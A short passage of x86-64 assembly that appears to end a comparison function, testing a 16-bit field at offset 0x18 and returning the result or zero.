cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret